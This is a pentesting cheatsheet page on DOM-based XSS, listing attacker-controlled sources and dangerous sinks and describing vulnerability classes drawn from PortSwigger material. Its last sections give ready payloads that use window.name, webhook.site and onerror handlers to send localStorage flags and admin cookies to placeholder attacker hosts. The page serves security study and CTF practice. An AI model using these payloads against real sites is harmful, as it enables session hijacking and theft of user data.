daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

dom-xss.md (27973B)


      1 ---
      2 title: "DOM XSS"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/dom-xss.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/dom-xss.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # DOM XSS
     14 
     15 ## DOM Vulnerabilities
     16 
     17 DOM vulnerabilities occur when data from attacker-controlled **sources** (like `location.search`, `document.referrer`, or `document.cookie`) is unsafely transferred to **sinks**. Sinks are functions or objects (e.g., `eval()`, `document.body.innerHTML`) that can execute or render harmful content if given malicious data.
     18 
     19 - **Sources** are inputs that can be manipulated by attackers, including URLs, cookies, and web messages.
     20 - **Sinks** are potentially dangerous endpoints where malicious data can lead to adverse effects, such as script execution.
     21 
     22 The risk arises when data flows from a source to a sink without proper validation or sanitation, enabling attacks like XSS.
     23 
     24 > [!TIP]
     25 > **You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)
     26 
     27 **Common sources:**
     28 
     29 ```javascript
     30 document.URL
     31 document.documentURI
     32 document.URLUnencoded
     33 document.baseURI
     34 location
     35 document.cookie
     36 document.referrer
     37 window.name
     38 history.pushState
     39 history.replaceState
     40 localStorage
     41 sessionStorage
     42 IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
     43 Database
     44 ```
     45 
     46 **Common Sinks:**
     47 
     48 | [**Open Redirect**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#open-redirect)                                    | [**Javascript Injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#javascript-injection)                         | [**DOM-data manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#dom-data-manipulation) | **jQuery**                                                             |
     49 | -------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------------------- | ---------------------------------------------------------------------- |
     50 | `location`                                                                       | `eval()`                                                                            | `scriptElement.src`                                           | `add()`                                                                |
     51 | `location.host`                                                                  | `Function() constructor`                                                            | `scriptElement.text`                                          | `after()`                                                              |
     52 | `location.hostname`                                                              | `setTimeout()`                                                                      | `scriptElement.textContent`                                   | `append()`                                                             |
     53 | `location.href`                                                                  | `setInterval()`                                                                     | `scriptElement.innerText`                                     | `animate()`                                                            |
     54 | `location.pathname`                                                              | `setImmediate()`                                                                    | `someDOMElement.setAttribute()`                               | `insertAfter()`                                                        |
     55 | `location.search`                                                                | `execCommand()`                                                                     | `someDOMElement.search`                                       | `insertBefore()`                                                       |
     56 | `location.protocol`                                                              | `execScript()`                                                                      | `someDOMElement.text`                                         | `before()`                                                             |
     57 | `location.assign()`                                                              | `msSetImmediate()`                                                                  | `someDOMElement.textContent`                                  | `html()`                                                               |
     58 | `location.replace()`                                                             | `range.createContextualFragment()`                                                  | `someDOMElement.innerText`                                    | `prepend()`                                                            |
     59 | `open()`                                                                         | `crypto.generateCRMFRequest()`                                                      | `someDOMElement.outerText`                                    | `replaceAll()`                                                         |
     60 | `domElem.srcdoc`                                                                 | **\`\`**[**Local file-path manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#local-file-path-manipulation) | `someDOMElement.value`                                        | `replaceWith()`                                                        |
     61 | `XMLHttpRequest.open()`                                                          | `FileReader.readAsArrayBuffer()`                                                    | `someDOMElement.name`                                         | `wrap()`                                                               |
     62 | `XMLHttpRequest.send()`                                                          | `FileReader.readAsBinaryString()`                                                   | `someDOMElement.target`                                       | `wrapInner()`                                                          |
     63 | `jQuery.ajax()`                                                                  | `FileReader.readAsDataURL()`                                                        | `someDOMElement.method`                                       | `wrapAll()`                                                            |
     64 | `$.ajax()`                                                                       | `FileReader.readAsText()`                                                           | `someDOMElement.type`                                         | `has()`                                                                |
     65 | **\`\`**[**Ajax request manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#ajax-request-manipulation)    | `FileReader.readAsFile()`                                                           | `someDOMElement.backgroundImage`                              | `constructor()`                                                        |
     66 | `XMLHttpRequest.setRequestHeader()`                                              | `FileReader.root.getFile()`                                                         | `someDOMElement.cssText`                                      | `init()`                                                               |
     67 | `XMLHttpRequest.open()`                                                          | `FileReader.root.getFile()`                                                         | `someDOMElement.codebase`                                     | `index()`                                                              |
     68 | `XMLHttpRequest.send()`                                                          | [**Link manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#link-manipulation)                               | `someDOMElement.innerHTML`                                    | `jQuery.parseHTML()`                                                   |
     69 | `jQuery.globalEval()`                                                            | `someDOMElement.href`                                                               | `someDOMElement.outerHTML`                                    | `$.parseHTML()`                                                        |
     70 | `$.globalEval()`                                                                 | `someDOMElement.src`                                                                | `someDOMElement.insertAdjacentHTML`                           | [**Client-side JSON injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#client-side-sql-injection) |
     71 | **\`\`**[**HTML5-storage manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#html-5-storage-manipulation) | `someDOMElement.action`                                                             | `someDOMElement.onevent`                                      | `JSON.parse()`                                                         |
     72 | `sessionStorage.setItem()`                                                       | [**XPath injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#xpath-injection)                                   | `document.write()`                                            | `jQuery.parseJSON()`                                                   |
     73 | `localStorage.setItem()`                                                         | `document.evaluate()`                                                               | `document.writeln()`                                          | `$.parseJSON()`                                                        |
     74 | **``**[**`Denial of Service`**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#denial-of-service)**``**              | `someDOMElement.evaluate()`                                                         | `document.title`                                              | **\`\`**[**Cookie manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#cookie-manipulation)      |
     75 | `requestFileSystem()`                                                            | **\`\`**[**Document-domain manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#document-domain-manipulation) | `document.implementation.createHTMLDocument()`                | `document.cookie`                                                      |
     76 | `RegExp()`                                                                       | `document.domain`                                                                   | `history.pushState()`                                         | [**WebSocket-URL poisoning**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#websocket-url-poisoning)      |
     77 | [**Client-Side SQl injection**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#client-side-sql-injection)            | [**Web-message manipulation**](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-xss#web-message-manipulation)                 | `history.replaceState()`                                      | `WebSocket`                                                            |
     78 | `executeSql()`                                                                   | `postMessage()`                                                                     | \`\`                                                          | \`\`                                                                   |
     79 
     80 The **`innerHTML`** sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`.
     81 
     82 This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS.
     83 
     84 ## Tools to find them
     85 
     86 - [https://github.com/mozilla/eslint-plugin-no-unsanitized](https://github.com/mozilla/eslint-plugin-no-unsanitized)
     87 - Browser extension to check all data that reaches a potential sink: [https://github.com/kevin-mizu/domloggerpp](https://github.com/kevin-mizu/domloggerpp)
     88 
     89 ## Examples
     90 
     91 ### Open Redirect
     92 
     93 From: [https://portswigger.net/web-security/dom-based/open-redirection](https://portswigger.net/web-security/dom-based/open-redirection)<sup>[[1]](#references)</sup>
     94 
     95 **Open redirect vulnerabilities in the DOM** occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
     96 
     97 It's crucial to understand that executing arbitrary code, such as **`javascript:alert(1)`**, is possible if you have control over the start of the URL where the redirection occurs.<sup>[[1]](#references)</sup>
     98 
     99 Sinks:
    100 
    101 ```javascript
    102 location
    103 location.host
    104 location.hostname
    105 location.href
    106 location.pathname
    107 location.search
    108 location.protocol
    109 location.assign()
    110 location.replace()
    111 open()
    112 domElem.srcdoc
    113 XMLHttpRequest.open()
    114 XMLHttpRequest.send()
    115 jQuery.ajax()
    116 $.ajax()
    117 ```
    118 
    119 ### Cookie manipulation
    120 
    121 From: [https://portswigger.net/web-security/dom-based/cookie-manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)<sup>[[2]](#references)</sup>
    122 
    123 DOM-based cookie-manipulation vulnerabilities occur when a script incorporates data, which can be controlled by an attacker, into the value of a cookie. This vulnerability can lead to unexpected behavior of the webpage if the cookie is utilized within the site. Additionally, it can be exploited to carry out a session fixation attack if the cookie is involved in tracking user sessions. The primary sink associated with this vulnerability is:<sup>[[2]](#references)</sup>
    124 
    125 Sinks:
    126 
    127 ```javascript
    128 document.cookie
    129 ```
    130 
    131 ### JavaScript Injection
    132 
    133 From: [https://portswigger.net/web-security/dom-based/javascript-injection](https://portswigger.net/web-security/dom-based/javascript-injection)<sup>[[3]](#references)</sup>
    134 
    135 DOM-based JavaScript injection vulnerabilities are created when a script runs data, which can be controlled by an attacker, as JavaScript code.<sup>[[3]](#references)</sup>
    136 
    137 Sinks:
    138 
    139 ```javascript
    140 eval()
    141 Function() constructor
    142 setTimeout()
    143 setInterval()
    144 setImmediate()
    145 execCommand()
    146 execScript()
    147 msSetImmediate()
    148 range.createContextualFragment()
    149 crypto.generateCRMFRequest()
    150 ```
    151 
    152 ### Document-domain manipulation
    153 
    154 From: [https://portswigger.net/web-security/dom-based/document-domain-manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)<sup>[[4]](#references)</sup>
    155 
    156 **Document-domain manipulation vulnerabilities** occur when a script sets the `document.domain` property using data that an attacker can control.
    157 
    158 The `document.domain` property plays a **key role** in the **enforcement** of the **same-origin policy** by browsers. When two pages from different origins set their `document.domain` to the **same value**, they can interact without restrictions. Although browsers impose certain **limits** on the values assignable to `document.domain`, preventing the assignment of completely unrelated values to the actual page origin, exceptions exist. Typically, browsers permit the use of **child** or **parent domains**.<sup>[[4]](#references)</sup>
    159 
    160 Sinks:
    161 
    162 ```javascript
    163 document.domain
    164 ```
    165 
    166 ### WebSocket-URL poisoning
    167 
    168 From: [https://portswigger.net/web-security/dom-based/websocket-url-poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)<sup>[[5]](#references)</sup>
    169 
    170 **WebSocket-URL poisoning** occurs when a script utilizes **controllable data as the target URL** for a WebSocket connection.<sup>[[5]](#references)</sup>
    171 
    172 Sinks:
    173 
    174 The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities.
    175 
    176 ### Link manipulation
    177 
    178 From: [https://portswigger.net/web-security/dom-based/link-manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)<sup>[[6]](#references)</sup>
    179 
    180 **DOM-based link-manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.<sup>[[6]](#references)</sup>
    181 
    182 Sinks:
    183 
    184 ```javascript
    185 someDOMElement.href
    186 someDOMElement.src
    187 someDOMElement.action
    188 ```
    189 
    190 ### Ajax request manipulation
    191 
    192 From: [https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)<sup>[[7]](#references)</sup>
    193 
    194 **Ajax request manipulation vulnerabilities** arise when a script writes **attacker-controllable data into an Ajax request** that is issued using an `XmlHttpRequest` object.<sup>[[7]](#references)</sup>
    195 
    196 Sinks:
    197 
    198 ```javascript
    199 XMLHttpRequest.setRequestHeader()
    200 XMLHttpRequest.open()
    201 XMLHttpRequest.send()
    202 jQuery.globalEval()
    203 $.globalEval()
    204 ```
    205 
    206 ### Local file-path manipulation
    207 
    208 From: [https://portswigger.net/web-security/dom-based/local-file-path-manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)<sup>[[8]](#references)</sup>
    209 
    210 **Local file-path manipulation vulnerabilities** arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, could lead to the **user's browser opening or writing an arbitrary local file**.<sup>[[8]](#references)</sup>
    211 
    212 Sinks:
    213 
    214 ```javascript
    215 FileReader.readAsArrayBuffer()
    216 FileReader.readAsBinaryString()
    217 FileReader.readAsDataURL()
    218 FileReader.readAsText()
    219 FileReader.readAsFile()
    220 FileReader.root.getFile()
    221 FileReader.root.getFile()
    222 ```
    223 
    224 ### Client-Side SQl injection
    225 
    226 From: [https://portswigger.net/web-security/dom-based/client-side-sql-injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)<sup>[[9]](#references)</sup>
    227 
    228 **Client-side SQL-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**.<sup>[[9]](#references)</sup>
    229 
    230 Sinks:
    231 
    232 ```javascript
    233 executeSql()
    234 ```
    235 
    236 ### HTML5-storage manipulation
    237 
    238 From: [https://portswigger.net/web-security/dom-based/html5-storage-manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)<sup>[[10]](#references)</sup>
    239 
    240 **HTML5-storage manipulation vulnerabilities** arise when a script **stores attacker-controllable data in the web browser's HTML5 storage** (`localStorage` or `sessionStorage`). While this action is not inherently a security vulnerability, it becomes problematic if the application subsequently **reads the stored data and processes it unsafely**. This could allow an attacker to leverage the storage mechanism to conduct other DOM-based attacks, such as cross-site scripting and JavaScript injection.<sup>[[10]](#references)</sup>
    241 
    242 Sinks:
    243 
    244 ```javascript
    245 sessionStorage.setItem()
    246 localStorage.setItem()
    247 ```
    248 
    249 ### XPath injection
    250 
    251 From: [https://portswigger.net/web-security/dom-based/client-side-xpath-injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)<sup>[[11]](#references)</sup>
    252 
    253 **DOM-based XPath-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into an XPath query**.<sup>[[11]](#references)</sup>
    254 
    255 Sinks:
    256 
    257 ```javascript
    258 document.evaluate()
    259 someDOMElement.evaluate()
    260 ```
    261 
    262 ### Client-side JSON injection
    263 
    264 From: [https://portswigger.net/web-security/dom-based/client-side-json-injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)<sup>[[12]](#references)</sup>
    265 
    266 **DOM-based JSON-injection vulnerabilities** occur when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.<sup>[[12]](#references)</sup>
    267 
    268 Sinks:
    269 
    270 ```javascript
    271 JSON.parse()
    272 jQuery.parseJSON()
    273 $.parseJSON()
    274 ```
    275 
    276 ### Web-message manipulation
    277 
    278 From: [https://portswigger.net/web-security/dom-based/web-message-manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)<sup>[[13]](#references)</sup>
    279 
    280 **Web-message vulnerabilities** arise when a script sends **attacker-controllable data as a web message to another document** within the browser.<sup>[[13]](#references)</sup> An **example** of vulnerable Web-message manipulation can be found at [PortSwigger's Web Security Academy](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source).
    281 
    282 Sinks:
    283 
    284 The `postMessage()` method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
    285 
    286 ### DOM-data manipulation
    287 
    288 From: [https://portswigger.net/web-security/dom-based/dom-data-manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)<sup>[[14]](#references)</sup>
    289 
    290 **DOM-data manipulation vulnerabilities** arise when a script writes **attacker-controllable data to a field within the DOM** that is utilized within the visible UI or client-side logic. This vulnerability can be exploited by an attacker to construct a URL that, if visited by another user, can alter the appearance or behaviour of the client-side UI.<sup>[[14]](#references)</sup>
    291 
    292 Sinks:
    293 
    294 ```javascript
    295 scriptElement.src
    296 scriptElement.text
    297 scriptElement.textContent
    298 scriptElement.innerText
    299 someDOMElement.setAttribute()
    300 someDOMElement.search
    301 someDOMElement.text
    302 someDOMElement.textContent
    303 someDOMElement.innerText
    304 someDOMElement.outerText
    305 someDOMElement.value
    306 someDOMElement.name
    307 someDOMElement.target
    308 someDOMElement.method
    309 someDOMElement.type
    310 someDOMElement.backgroundImage
    311 someDOMElement.cssText
    312 someDOMElement.codebase
    313 document.title
    314 document.implementation.createHTMLDocument()
    315 history.pushState()
    316 history.replaceState()
    317 ```
    318 
    319 ### Denial of Service
    320 
    321 From: [https://portswigger.net/web-security/dom-based/denial-of-service](https://portswigger.net/web-security/dom-based/denial-of-service)<sup>[[15]](#references)</sup>
    322 
    323 **DOM-based denial-of-service vulnerabilities** occur when a script passes **attacker-controllable data unsafely to a problematic platform API**. This includes APIs that, when invoked, can lead the user's computer to consume **excessive amounts of CPU or disk space**. Such vulnerabilities can have significant side effects, such as the browser restricting the website's functionality by rejecting attempts to store data in `localStorage` or terminating busy scripts.<sup>[[15]](#references)</sup>
    324 
    325 Sinks:
    326 
    327 ```javascript
    328 requestFileSystem()
    329 RegExp()
    330 ```
    331 
    332 ## Dom Clobbering
    333 
    334 
    335 [Dom Clobbering](/hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering)
    336 
    337 ## Implicit globals & `window.name` abuse
    338 
    339 Referencing `name` without a declaration (`var`/`let`/`const`) resolves to `window.name`. Because `window.name` persists across cross-origin navigations, an attacker can pre-seed a browsing context name with HTML/JS and later have victim code render it as trusted data:
    340 
    341 - Open/navigate the target in a named context you control:
    342 
    343 ```html
    344 <iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
    345 ```
    346 
    347 - Or reuse `window.open` with a crafted target name:
    348 
    349 ```javascript
    350 window.open('https://target/page', "<svg/onload=alert(document.domain)>")
    351 ```
    352 
    353 If the application later does `element.innerHTML = name` (or similar sink) without sanitization, the attacker-controlled `window.name` string executes in the target origin, enabling DOM XSS and access to same-origin storage.<sup>[[16]](#references)</sup>
    354 
    355 ## Admin/automation flows: pre-seeded storage & `javascript:` navigation
    356 
    357 Automation bots (e.g., Playwright) often visit an internal page first, set secrets in `localStorage`/cookies, then navigate to user-supplied URLs. Any DOM XSS primitive (including `window.name` abuse) in that flow can exfiltrate the seeded secret:
    358 
    359 ```javascript
    360 fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
    361 ```
    362 
    363 If the bot does not restrict schemes, supplying a `javascript:` URL (`javascript:fetch(...)`) executes in the current origin without new navigation, directly leaking storage values.<sup>[[16]](#references)</sup>
    364 
    365 ## Template literal `innerHTML` + partial sanitization gaps
    366 
    367 Frontends that sanitize only selected fields but still interpolate an untrusted one directly into `innerHTML` are trivially exploitable. Example:
    368 
    369 ```javascript
    370 fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
    371   reports.forEach(report => {
    372     reportCard.innerHTML = `
    373       <div>${DOMPurify.sanitize(report.id)}</div>
    374       <div>${report.details}</div> <!-- unsanitized sink -->
    375     `;
    376   });
    377 });
    378 ```
    379 
    380 If the un-sanitized field is stored server-side (e.g., bug report “details”), the payload becomes **stored DOM XSS** for any privileged viewer of the list. A simple payload such as `<img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>` executes when an admin opens the page and exfiltrates their cookies.
    381 
    382 When the app explicitly disables `SESSION_COOKIE_HTTPONLY` (e.g., Flask `app.config['SESSION_COOKIE_HTTPONLY'] = False`), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random `secret_key` prevents forging, but theft still works).<sup>[[17]](#references)</sup>
    383 
    384 ## References
    385 
    386 - [1] [PortSwigger: DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection)
    387 - [2] [PortSwigger: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation)
    388 - [3] [PortSwigger: DOM-based JavaScript injection](https://portswigger.net/web-security/dom-based/javascript-injection)
    389 - [4] [PortSwigger: DOM-based document-domain manipulation](https://portswigger.net/web-security/dom-based/document-domain-manipulation)
    390 - [5] [PortSwigger: DOM-based WebSocket-URL poisoning](https://portswigger.net/web-security/dom-based/websocket-url-poisoning)
    391 - [6] [PortSwigger: DOM-based link manipulation](https://portswigger.net/web-security/dom-based/link-manipulation)
    392 - [7] [PortSwigger: DOM-based Ajax request-header manipulation](https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation)
    393 - [8] [PortSwigger: DOM-based local file-path manipulation](https://portswigger.net/web-security/dom-based/local-file-path-manipulation)
    394 - [9] [PortSwigger: DOM-based client-side SQL injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection)
    395 - [10] [PortSwigger: DOM-based HTML5-storage manipulation](https://portswigger.net/web-security/dom-based/html5-storage-manipulation)
    396 - [11] [PortSwigger: DOM-based client-side XPath injection](https://portswigger.net/web-security/dom-based/client-side-xpath-injection)
    397 - [12] [PortSwigger: DOM-based client-side JSON injection](https://portswigger.net/web-security/dom-based/client-side-json-injection)
    398 - [13] [PortSwigger: DOM-based web-message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation)
    399 - [14] [PortSwigger: DOM-data manipulation](https://portswigger.net/web-security/dom-based/dom-data-manipulation)
    400 - [15] [PortSwigger: DOM-based denial of service](https://portswigger.net/web-security/dom-based/denial-of-service)
    401 - [16] [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
    402 - [17] [HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html)